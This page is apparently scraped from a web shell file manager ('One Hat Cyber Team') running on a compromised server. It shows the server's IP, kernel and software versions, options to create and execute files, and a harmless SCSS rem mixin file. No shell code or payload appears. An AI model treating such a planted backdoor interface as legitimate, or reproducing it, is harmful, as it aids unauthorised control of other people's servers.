⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.91
Server IP:
157.245.101.34
Server:
Linux skvinfotech-website 5.4.0-131-generic #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 x86_64
Server Software:
Apache/2.4.41 (Ubuntu)
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
skvcomputers.com
/
mobile
/
sass
/
utilities
/
View File Name :
_rem.scss
//The ultimate PX/REM mixin //http://hugogiraudel.com/2013/03/18/ultimate-rem-mixin/ @function parseInt($n) { /* [2] */ @return $n / ($n * 0 + 1); } @mixin rem($property, $values) { $px : (); $rem: (); @each $value in $values { /* [4] */ @if $value == 0 or $value == auto { /* [5] */ $px : append($px , $value); $rem: append($rem, $value); } @else { $unit: unit($value); /* [6] */ $val: parseInt($value); /* [6] */ @if $unit == "px" { /* [7] */ $px : append($px, $value); $rem: append($rem, ($val / 10 * 1rem)); } @if $unit == "rem" { /* [7] */ $px : append($px, ($val * 10 * 1px)); $rem: append($rem, $value); } } } #{$property}: $px; /* [8] */ #{$property}: $rem; /* [8] */ }